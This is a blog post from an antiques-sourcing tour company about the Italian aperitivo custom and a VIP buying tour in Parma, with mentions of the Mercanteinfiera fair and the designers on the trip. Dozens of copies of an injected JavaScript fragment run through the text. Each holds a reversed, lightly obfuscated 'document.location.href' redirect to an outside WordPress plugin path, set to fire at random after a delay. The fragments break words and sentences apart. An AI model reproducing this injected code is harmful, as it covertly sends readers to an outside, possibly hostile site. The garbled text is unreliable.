Facciamoci un aperitivo

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 40px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>Buongiorno…. No, make that Buona Sera!  When the day is done – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to close out the work day and start the evening – the Italians like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to indulge in an aperitivo before dinner.  While technically the purpose of the aperitivo is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stimulate the appetite, (how else would a European’s stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomach know it’s time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eat dinner?) it’s really just a wonderful excuse for friends toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gather from between 6:00 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 9:00pm toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to socialize whilst partaking in a few savory snacks before commencing with a 3 course dinner. I still wonder how they stay so thin!

422-L

Antiques Diva Italy

Aperitivo’s are simple – you’ll find a variety of olives, cheeses, and breads being served alongside a dry cocktail or prosecco, which is a favorite pre-dinner sparkler in Italy.  In some cases, meats and cheeses paired with puff pastries and other finger foods are set out as tempting treats that could very well spoil dinner if you’re not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too careful!

 Mercanteinfiera in Parma

Mercanteinfiera in Parma

Mercanteinfiera in Parma

Mercanteinfiera in Parma

In the spirit of opening our three day VIP toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour in Italy, The Antiques Diva & Co embraced the Italian phrase, “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-italian-aperitivo-and-drinks-in-italy/” target=”_blank”>Facciamoci un aperitivo” (Let’s have an aperitif!).  Each night on our recent VIP TOUR in Parma, Italy we hosted a Prosecco Aperitivo at the Grande Hotel de la Ville for our guests before dinner!  Plenty of Prosecco and savory snacks were served while lively conversation ensued as we we discussed the days purchases and plunderings.  Some of our VIP designers on this special VIP toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour included toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobifairley.com/” target=”_blank”>Tobi Fairley, Mark Cutler, Jon Call, and Denise McGaha.What a fun group we had!

When we bring clients on an Antiques Diva Tour, it’s not just about the shopping, it’s about the entire European experience!

Antiques Diva Italy

Evviva! (Cheers!)

The Antiques Diva®

PS:  To book an Antiques Diva Tour or inquire about our Buying Services so you can source antiques abroad virtually, email toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:info@antiquesdiva.com”>info@antiquesdiva.com

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

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